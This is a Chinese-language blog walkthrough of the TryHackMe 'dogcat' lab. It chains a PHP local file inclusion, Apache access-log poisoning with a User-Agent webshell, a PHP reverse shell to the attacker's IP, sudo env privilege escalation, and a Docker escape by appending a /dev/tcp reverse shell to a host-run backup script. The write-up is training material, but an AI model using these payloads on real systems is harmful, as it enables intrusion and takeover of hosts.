首页 > 其他分享 >【THM】dogcat练习

【THM】dogcat练习

时间:2024-07-23 22:08:24浏览次数:8  
标签:文件 .. 练习 flag THM php dogcat 我们 view

【THM】dogcat练习

与本文相关的TryHackMe实验房间链接:TryHackMe | dogcat

简介:我做了一个网站,你可以看狗和/或猫的图片!通过LFI攻击PHP应用程序并突破docker容器。

TryHackMe

我制作了这个网站,用于使用 PHP 查看猫和狗的图像。如果你情绪低落,来看看一些狗/猫吧!

这台机器可能需要几分钟才能完全启动。

image-20240723165725279

第一题:flag1是多少

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -T4 10.10.52.90

image-20240723170019958

可以发现目标开放了2个端口:22/tcp ssh服务、80/tcp http服务

第二步

访问网站

我们先进入网站看看界面

image-20240723170358581

我们可以在这选择看看猫猫或者狗狗的图片:

image-20240723170659225

我们可以发现每当我们点击按钮时,都有在以GET请求发送“view”参数,我们注意一下

第三步

信息收集

我们先看看网页的源码里面会不会藏了什么东西:

image-20240723170713284

没啥有用的。

再优先查看robots.txt来看看这个网站会不会有什么见不得人的文件,404 not found

使用gobuster工具扫描网站目录:

gobuster dir -u http://10.10.52.90 -w directory-list-2.3-medium.txt -x txt,html,php,js,zip

-x 添加后缀

(这里我换了个做题更好用一些的字典)

image-20240723201225226

再在新标签页打开猫猫或狗狗图片,我们能大概猜测了解网站的目录结构:根目录下为主页面”index.php“、“flag.php”、“dog.php”、“cat.php”和两个文件夹”cats“、“dogs”,文件夹内有很多图片:

image-20240723201321814

与此同时,flag.php打开发现是一篇白板,直接打开dog.php会随机出现一张狗狗的图片:

image-20240723202141957

image-20240723202233741

第四步

利用注入点

我们猜测参数view=dog时,网站执行了dog.php的内容

我们尝试修改view的参数:

image-20240723201619367

我们无法访问,那么我们尝试一下使用php伪协议进行文件读取

php://filter/read=convert.base64-encode/resource=flag

image-20240723201945842

依然不成功,按照提示“only dogs or cats allowed”可能”view“参数需要包含“dogs”或“cats”,我们尝试添加路径:

php://filter/read=convert.base64-encode/resource=./dogs/../flag

成功回显出flag内容的编码内容,我们进行base64解码:

image-20240723202510899

image-20240723202539581

image-20240723202607119

第二题:flag2是多少

第一步

继续代码审计

我们尝试获取”index.php“的内容:

php://filter/read=convert.base64-encode/resource=./dogs/index

image-20240723202928492

对输出进行解密可以得到:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

我们进行代码审计,可以明白:

首先会判断“ext”参数是否存在,不存在则在“view”参数的值默认为”.php“添加在”view“参数的末尾,存在则直接添加在”view“参数的末尾;

然后判断”view“参数是否包含“dog”或者“cat”字符,最后只有在”view“参数包含“dog”或者“cat”字符时对“view”参数的文件进行文件包含

理论上我们可以利用”view“参数进行任意文件包含,文件包含可以获取到靶机的敏感文件。但“ext”参数会拼接在文件尾,所以我们让“ext”的值为空“ ”

根据端口扫描的结果,我们可以判断这网站建立在一台linux系统主机,使用apache中间件

那么网站默认的路径即为:/var/www/html,我们可以给网站发送如此GET请求:

view=/var/www/html/dogs/../../../../../../etc/passwd&ext= 

image-20240723204805449

第二步

使用apache的日志文件构造webshell

根据端口扫描的结果,我们可以知道该网站使用的apache版本是2.4.38

它的日志文件位置在:/var/log/apache2/access.log

我们先文件包含查看一下它的内容:

view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext= 

image-20240723205805705

可以发现apache的日志文件内容过多网站显示不出来,我们只好重启靶机……

image-20240723210040740

image-20240723210238996

发现apache的日志文件会记录我们的IP、访问时间、请求方法(GET)、请求地址、请求状态码、User-Agent

因此我们可以构造User-Agent构造HTTP头部webshell:

User-Agent:<?php system($_GET['cmd']);?>

webshell就是参数”cmd“,我们尝试输入指令:

view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext=&cmd=whoami

image-20240723211727160

我们可以发现命令执行的回显被写入在日志文件中的User-Agent部份

一般情况下我们应该可以直接使用蚁剑或者菜刀工具连接了,但这里我们只有攻击机,于是我们构造反弹shell的脚本,开始监听接收反弹shell:

php -r '$sock=fsockopen("10.10.227.32","777");exec("/bin/bash -i 0>&3 2>&3 1>&3");'

image-20240723212525068

成功得到SHELL,使用以下命令使初始shell稳定化:

python -c "import pty; pty.spawn('/bin/bash')"

第三步

爆!

我们逐层寻找有什么文件,发现了flag:

image-20240723213004239

image-20240723215155111

第三题:flag3是多少

第一步

继续深入提权

我们进入了根目录,尝试进入root目录失败,并且没有home目录,我们查看我们拥有的权限:

image-20240723213155248

我们可以不用密码使用/usr/bin/env命令,我们在GTFOBins中查询,发现可以使用这个命令提权:

image-20240723213340236

image-20240723213406467

提权成功

第二步

爆!!!

进入root目录得到flag:

image-20240723213446241

image-20240723215135232

第四题:flag4是多少

DOCKER逃逸

利用上一个flag的线索

都拿到root权限了才发现还有flag4要寻找,没有什么头绪参考了文章:[安全 - 【Tryhackme】dogcat(LFI+文件解析漏洞,Docker逃逸) - 个人文章 - SegmentFault 思否](https://fmash16.github.io/content/writeups/tryhackme/thm-DogCat.html)

上一题的flag给出了线索:”different environment“

我们可以在根目录下发现一个dockerenv文件,这说明我们正在运行的的linux系统是在docker中运行的容器,也就是说我们还可以继续深入从docker容器中逃出来进入linux系统!

image-20240723214431946

/opt/backups应该是宿主机和Docker机器的共享文件夹
查看/opt/backups下的backup.sh文件,猜测这个脚本会被宿主机定时执行

我们把下面的命令追加到backup.sh文件:

echo 'bash -i >& /dev/tcp/10.10.227.32/666 0>&1' >> backup.sh

再监听一个端口,等待大约一分钟,脚本被定时执行,我们可以收到宿主机的反弹shell,拿到flag4:

image-20240723215103906

image-20240723215047468

标签:文件,..,练习,flag,THM,php,dogcat,我们,view
From: https://www.cnblogs.com/handsomexuejian/p/18319740

相关文章

  • 【C语言基础习题】C语言练习题——bite 寒假班作业(4)
    C语言练习题——bite寒假班作业(4)题目第1题(单选题)题目名称:下面代码执行的结果是:()#include<stdio.h>intmain(){inti=0;for(i=0;i<10;i++){if(i=5)printf("%d",i);}return0;}题目内容:A.12345678910B.5555555555C......
  • 学生选课表练习(面试题)
    所有表都放在最后1.查询”01“课程比”02“课程成绩高的学生的信息及课程分数SELECTDISTINCTstudent.*,t1.scoreFROMstudentINNERJOIN(SELECT*FROMscWHEREsc.Cid=1)t1ONt1.Sid=student.SidINNERJOIN(SELECT*FROMscWHEREsc.Cid=2)t2ON......
  • 学习C语言第十天(数组练习)
    一、三子棋game.h#define_CRT_SECURE_NO_WARNINGS#include<stdio.h>#include<time.h>#include<stdlib.h>#defineROW3#defineCOL3//初始化棋盘voidinitboard(charboard[ROW][COL],introw,intcol);//打印棋盘voiddispalyboard(charboard[ROW][CO......
  • 二分查找(数组的练习)
    一、什么是二分查找    二分查找(又叫折半查找)是一种查找算法,它能使查找的速度更快,但要求查找的序列必须有序。        如果我们按顺序在一个序列中查找一个数,当这个数在靠前的位置,查找的速度还好;那么当这个数在很靠后的位置呢?甚至是一个很长的数组,要查找......
  • 【力扣】SQL题库练习2
    连接577.员工奖金表:Employee+-------------+---------+|ColumnName|Type|+-------------+---------+|empId|int||name|varchar||supervisor|int||salary|int|+-------------+---------+empId是该表中具......
  • [UE 虚幻引擎] DTHmacSha 蓝图HMACSHA加密算法插件说明
    本插件可以在虚幻引擎中使用蓝图对字符串和文件进行HMACSHA加密。1.节点说明HMACSHA一共有5种加密方式,分辨是HMACSHA-1,HMACSHA-224,HMACSHA-256,HMACSHA-384,HMACSHA-512。本插件对每种加密方式提供3个节点,一般节点返回通用值,如7c4a8d09ca3762af61e59520943dc26494f8941b;t......
  • 高级爬虫练习题及答案
    引言在当今的数据驱动世界,爬虫已经成为获取网络数据的重要工具。通过爬虫,我们可以从各种网站中提取信息,进行数据分析,支持决策。然而,爬虫技术不仅仅限于简单的网页抓取,还涉及到处理动态内容、反爬虫机制以及大规模数据提取等复杂问题。本文将介绍几个高级爬虫练习题,并附上详细......
  • Java语言程序设计基础篇_编程练习题**15.17 (几何问题:寻找边界矩形)
    **15.17(几何问題:寻找边界矩形)请编写一个程序,让用户可以在一个二维面板上动态地增加和移除点,如图15-29a所示。当点加入和移除的时候,一个最小的边界矩形更新显示。假设每个点的半径是10像素解题思路:这道题可以从编程练习题15.15修改新建一个面板Pane(),方法外部新建一个......
  • 没有名为 bidi.algorithm 的模块
    我下载这个库:python-bidi这里,用:pythonsetup.pytest在我的cmd中运行它,我有python2.7,但我得到这个错误:Traceback(mostrecentcalllast):File"C:\Users\CLIENT\Desktop\IMPLEMENTATION\Affichage.py",line31,in<module>frombidi.alg......
  • 【普及动规】dp例题精讲+强化练习
    本篇给大家带来一些好的dp题,大家可以学习一下。找找感觉。dp这种东西主要还是靠分类总结+感觉。多练习永远不错。T1.害羞的xxx题面:(由于某些原因无法公开原题,请见谅)题目背景保护好xxx,因为他随时会害羞。题目描述众所周知,xxx非常害羞。可是学校最近在选拔芭蕾舞演员......